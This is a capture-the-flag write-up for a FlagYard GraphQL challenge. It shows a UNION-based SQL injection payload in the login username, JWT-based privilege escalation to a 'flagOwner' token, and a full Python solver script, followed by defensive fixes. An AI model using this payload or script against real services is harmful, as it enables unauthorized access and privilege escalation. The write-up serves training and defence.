OhMyQL – [Web] (Hard) - FlagYard
Challenge Overview
- Category: Web (GraphQL)
- Difficulty: Hard
- Prompt: “Are you aware of modern web technologies?”
- Goal: Retrieve the
FLAGexposed by the GraphQL-enabled web service. - Download: download link
The service exposes a GraphQL endpoint on /graphql, backed by a SQLite database and JSON Web Tokens (JWT) for authentication. A protected /admin HTTP route returns the flag, but only if the caller supplies a JWT whose payload includes {"flagOwner": true}.
Reconnaissance & Source Review
Static analysis of the application’s two back-end modules, app/app/index.js and app/app/database.js, reveals the entire execution flow:
-
Database access (
app/app/database.js:21):const query = `SELECT * FROM users WHERE username = '${username}'`;The
usernameargument from GraphQL requests is interpolated directly into the SQL statement without sanitization or parameter binding, establishing a classic string-based SQL injection primitive. -
GraphQL schema (
app/app/index.js):Query.getUserandMutation.loginboth calldb.getUserwith attacker-controlled usernames.Mutation.loginmints a JWT using the sameusernamestring received from the client:const token = jwt.sign({ username }, JWT_SECRET, { expiresIn: '6m' });Mutation.setFlagOwnerrequires an authenticated user and checksuser.username === username. If the condition holds, it issues a second JWT embeddingflagOwner: true.- The
/adminroute trusts any presented JWT that decodes withflagOwner === trueand returnsprocess.env.FLAG.
-
Authentication bypass strategy:
- Because the injected SQL is reused as the JWT subject, we can forge tokens for arbitrary GraphQL “usernames” that never existed in the original database.
- By crafting a UNION-based payload that sets our own password inside the result-set, we satisfy the login mutation, receive a valid JWT, and subsequently satisfy the username equality check inside
setFlagOwner.
Exploit Chain Walkthrough
The attack proceeds in three deterministic steps:
-
SQL Injection via
login- Send a GraphQL mutation with
usernamecontaining a UNION clause:
"' UNION SELECT 'attacker','pass123',1 -- " - When interpolated, the SQL becomes:
SELECT * FROM users WHERE username = '' UNION SELECT 'attacker','pass123',1 -- ' - SQLite returns the fabricated row (
username="attacker",password="pass123",flagowner=1). - The password comparison succeeds because the attacker controls both the fabricated row and the password supplied to the mutation.
- The backend signs a JWT whose payload contains the malicious username string.
- Send a GraphQL mutation with
-
Privilege Escalation with
setFlagOwner- Using the first JWT, call the
setFlagOwnermutation. - The resolver re-verifies the JWT, sees the fabricated username, and (erroneously) believes the caller is acting on their own account.
- A new JWT is returned, this time including
{"username": "...payload...", "flagOwner": true}.
- Using the first JWT, call the
-
Flag Extraction from
/admin- Supply the second JWT as an
Authorization: Bearerheader to/admin. - Verification succeeds, the
flagOwnercheck passes, and the server returnsprocess.env.FLAG.
- Supply the second JWT as an
solver.py
#!/usr/bin/env python3
import json
import os
import sys
import requests
BASE_URL: str = os.environ.get(
"BASE_URL", "http://your_url.playat.flagyard.com"
).rstrip("/")
GRAPHQL_URL: str = f"{BASE_URL}/graphql"
ADMIN_URL: str = f"{BASE_URL}/admin"
USERNAME_PAYLOAD = "' UNION SELECT 'attacker','pass123',1 -- "
PASSWORD = "pass123"
def run_graphql(query: str, token: str | None = None) -> dict:
"""Send a GraphQL query or mutation and return the decoded data block."""
headers: dict[str, str] = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = f"Bearer {token}"
print(f"[*] Sending GraphQL query:\n{query.strip()}")
response = requests.post(
GRAPHQL_URL, json={"query": query}, headers=headers, timeout=10
)
response.raise_for_status()
payload = response.json()
if "errors" in payload:
raise Exception(f"GraphQL error: {json.dumps(payload['errors'], indent=2)}")
return payload["data"]
def login_with_injection() -> str:
query: str = f"""
mutation {{
login(username: "{USERNAME_PAYLOAD}", password: "{PASSWORD}") {{
token
}}
}}
"""
print("[*] Logging in with SQL injection payload...")
data = run_graphql(query)
token = data["login"]["token"]
if not token:
raise Exception("Login step did not return a token.")
return token
def escalate_flag_owner(token: str) -> str:
"""Use the attacker token to call setFlagOwner and receive a flagOwner token."""
query:str = f"""
mutation {{
setFlagOwner(username: "{USERNAME_PAYLOAD}")
}}
"""
print("[*] Escalating privileges to flag owner...")
data = run_graphql(query, token=token)
flag_token = data["setFlagOwner"]
if not flag_token:
raise Exception("Flag escalation step failed.")
return flag_token
def read_flag(flag_token: str) -> str:
"""Call the admin endpoint with the flagOwner token and return the flag string."""
headers: dict[str, str] = {"Authorization": f"Bearer {flag_token}"}
print("[*] Reading flag from /admin endpoint...")
response = requests.get(ADMIN_URL, headers=headers, timeout=10)
if response.status_code != 200:
raise Exception(
f"/admin returned {response.status_code}: {response.text.strip()}"
)
return response.text.strip()
def exploit() -> dict[str, str]:
"""Execute the full exploit chain and return both JWTs."""
access_token = login_with_injection()
flag_token = escalate_flag_owner(access_token)
return {
"access": access_token,
"flag": flag_token,
}
def main() -> None:
try:
tokens = exploit()
print()
print("Access token:", tokens.get("access"))
print("Flag token:", tokens.get("flag"))
print()
print("Flag:", read_flag(tokens.get("flag")))
except (Exception, requests.RequestException) as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
Defensive Takeaways
- Parameterize SQL queries: Replace string interpolation with prepared statements, e.g.
db.get('SELECT * FROM users WHERE username = ?', [username]). - Sanitize GraphQL input: Layer validation on resolver arguments to restrict characters where appropriate.
- Decouple authentication from raw input: Never embed untrusted strings directly into JWT payloads or privilege checks. Use canonical identifiers fetched from trusted storage.
- Least privilege claims:
setFlagOwnershould check server-side state (e.g., a database column), not trust the caller’s JWT subject.
By closing any single link in the chain above, the exploit path collapses and the flag remains protected. This challenge demonstrates how small oversights SQL injection in ORM-like helper functions and trust in JWT fields can combine into a critical compromise.
Conclusion
OhMyQL strings together well-known mistakes-string-concatenated SQL, insecure GraphQL resolvers, and overly trusting JWT validation into a textbook privilege escalation. Once the SQL injection is identified, every subsequent step becomes a matter of replaying that tainted input through the business logic. The solver script demonstrates how little effort is needed to weaponize the flaw, underscoring why defense-in-depth (parameterized queries, strong input validation, claim minimization) remains crucial even in “modern” stacks that sit on top of traditional databases. Fixing any one component would block the attack; fixing them all restores confidence that the admin flag stays secret.